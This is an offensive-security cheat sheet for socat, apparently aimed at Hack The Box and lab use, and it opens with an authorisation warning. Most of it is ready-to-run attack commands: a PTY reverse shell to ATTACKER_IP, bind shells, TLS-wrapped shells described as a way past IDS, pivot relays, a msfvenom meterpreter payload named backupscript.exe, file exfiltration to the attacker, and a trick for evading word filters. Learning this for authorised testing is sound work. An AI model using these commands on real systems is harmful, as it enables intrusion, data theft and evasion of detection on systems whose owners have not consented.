Socat — Cheat Sheet

Summary

socat (SOcket CAT) is a bidirectional relay that connects any two data channels, sockets, files, pipes, PTYs, TLS tunnels, and processes, and pumps bytes between them. In offensive work it earns its place three ways: as a hardened catcher for reverse and bind shells (including fully interactive PTYs), as an encrypted transport that survives IDS inspection, and as a dependency-free redirector for pivoting when SSH is not available on the foothold. This sheet is a fast lookup for the exact command shapes, with the small flags that make the difference between a dumb shell and a stable one.

[!danger]+ Authorisation Boundary

1. Use only against Hack The Box, lab, or explicitly authorised targets.
2. Shells and relays cross network boundaries. Stay in scope and remove listeners, relays, and dropped binaries when finished.

Conceptual Information

Address syntax

Every socat invocation is socat [options] <address1> <address2>. socat opens both addresses and shuttles data between them. An address is a type plus comma-separated options, for example TCP4-LISTEN:4444,fork,reuseaddr.

[!info]+ socat Overview

A multipurpose relay for bidirectional byte streams between two independent channels.

1. Needs no SSH daemon or credentials on a pivot host, only the ability to run the binary.
2. Wraps shells in a real PTY, giving arrow keys, tab-completion, and job control that plain nc cannot.
3. Speaks TLS natively, so shell traffic can be encrypted end to end.

Reverse Shells

The target connects back to you. Best when the target can reach out but you cannot reach in.

# Attacker: listener that hands the connection to your own terminal
socat -d -d TCP4-LISTEN:4444,fork,reuseaddr FILE:`tty`,raw,echo=0

# Target: connect back with an interactive bash PTY
socat TCP4:ATTACKER_IP:4444 EXEC:'bash',pty,stderr,setsid,sigint,sane

[!info]+ Command Breakdown

1. -d -d raises verbosity so you see connection events, handy while debugging.
2. FILE:`` tty ``,raw,echo=0 binds your live terminal in raw mode, this is what makes the caught shell fully interactive.
3. EXEC:'bash',pty,stderr,setsid,sigint,sane on the target spawns bash inside a PTY, forwards stderr, starts a new session, and keeps Ctrl-C and terminal settings sane.

[!success]+ Why this beats nc

1. You get a real TTY: tab-completion, su/sudo prompts that need a terminal, vi, and job control all work.
2. No need for the manual python3 -c 'pty.spawn' upgrade dance.

Bind Shells

The target listens, you connect in. Best when the target accepts inbound connections but cannot call out.

# Target: listen and serve a bash PTY to whoever connects
socat TCP4-LISTEN:4444,fork,reuseaddr EXEC:'bash',pty,stderr,setsid,sigint,sane

# Attacker: connect and attach your terminal
socat FILE:`tty`,raw,echo=0 TCP4:TARGET_IP:4444

[!info]+ Command Breakdown

1. The listen/exec sides are simply swapped compared with the reverse shell.
2. fork keeps the target listener alive across reconnects, drop it for a strict one-shot.

Encrypted Shells (TLS)

Wrap the whole shell in TLS so an IDS sees only opaque ciphertext. Generate a cert once, then use OPENSSL addresses on both ends.

# Attacker: generate a self-signed cert + key, bundle to a .pem
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt \
  -subj "/CN=update.local"
cat shell.key shell.crt > shell.pem

# Attacker: TLS listener
socat -d -d OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork FILE:`tty`,raw,echo=0

# Target: TLS connect-back with a PTY bash
socat OPENSSL:ATTACKER_IP:4444,verify=0 EXEC:'bash',pty,stderr,setsid,sigint,sane

[!warning]+ Encryption notes

1. verify=0 disables certificate validation, fine for a lab, but it means no protection against interception. Use pinned certs for anything real.
2. TLS-wrapped shells defeat signature-based network detection that keys on plaintext shell prompts and commands.
3. Only the .pem (key + cert) is needed on the listener side, the target just needs to trust-skip with verify=0.

Redirection & Pivoting

socat as a relay: forward a port on a pivot host on to somewhere the attacker cannot reach directly. No SSH required.

# On the pivot: forward every inbound 8080 connection on to the attacker's 80
socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80

# On the pivot: forward inbound 8080 to an internal host's bind port 8443
socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443

[!info]+ Command Breakdown

1. TCP4-LISTEN:8080,fork accepts many concurrent connections on the pivot, fork is essential for more than one.
2. For a reverse shell through a pivot, point the payload’s LHOST at the pivot’s internal IP, socat completes the hop to your listener.
3. For a bind shell through a pivot, point the Metasploit handler’s RHOST at the pivot, socat completes the hop to the target’s listener.

[!example]+ Metasploit through a socat redirector

# reverse_https payload aimed at the pivot, socat relays to your real handler
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 LPORT=8080 \
  -f exe -o backupscript.exe
# handler on the attack host
# set payload windows/x64/meterpreter/reverse_https ; set lhost 0.0.0.0 ; set lport 80 ; run

File Transfer

# Receiver (attacker): write incoming bytes to a file
socat -u TCP4-LISTEN:9000,reuseaddr OPEN:loot.tar,creat

# Sender (target): stream a file out
socat -u FILE:/tmp/loot.tar TCP4:ATTACKER_IP:9000

[!tip]+ Transfer flags

1. -u is unidirectional (address1 to address2 only), the natural fit for a one-way copy.
2. OPEN:file,creat creates the destination, add ,append to concatenate.
3. TLS file transfer is the same with OPENSSL/OPENSSL-LISTEN addresses.

Getting socat onto a Target

[!tip]+ When socat is not installed

1. Check first with a filter-safe probe, e.g. which socat (split the name if a word filter is in play: 'w'h'i'ch${IFS}socat).
2. Grab a statically compiled socat binary and drop it via your existing RCE or file-transfer channel, then chmod +x.
3. If neither works, fall back to ncat --ssl --sh-exec (ships with Nmap) for a comparable encrypted shell.

Quick Reference

Lessons Learned

1. FILE:`` tty ``,raw,echo=0 on your side plus EXEC:'bash',pty,stderr,setsid,sigint,sane on the target is the canonical fully-interactive shell, memorise it.
2. fork on any listener is what lets it survive reconnects, forgetting it gives you exactly one shot per run.
3. TLS (OPENSSL) shells encrypt traffic end to end and slip past plaintext signatures, a cheap evasion upgrade over nc.
4. For pivoting, the relay direction flips between reverse and bind shells: for reverse, socat sits between target and your listener, for bind, between your handler and the target’s listener.
5. socat needs no SSH or credentials on the pivot, only the ability to execute the binary, which makes it ideal after a limited RCE or web shell.

References

1. socat man page
2. HTB Academy — Pivoting, Tunneling and Port Forwarding
3. static-binaries — prebuilt socat
4. Ncat Users’ Guide
5. GTFOBins — socat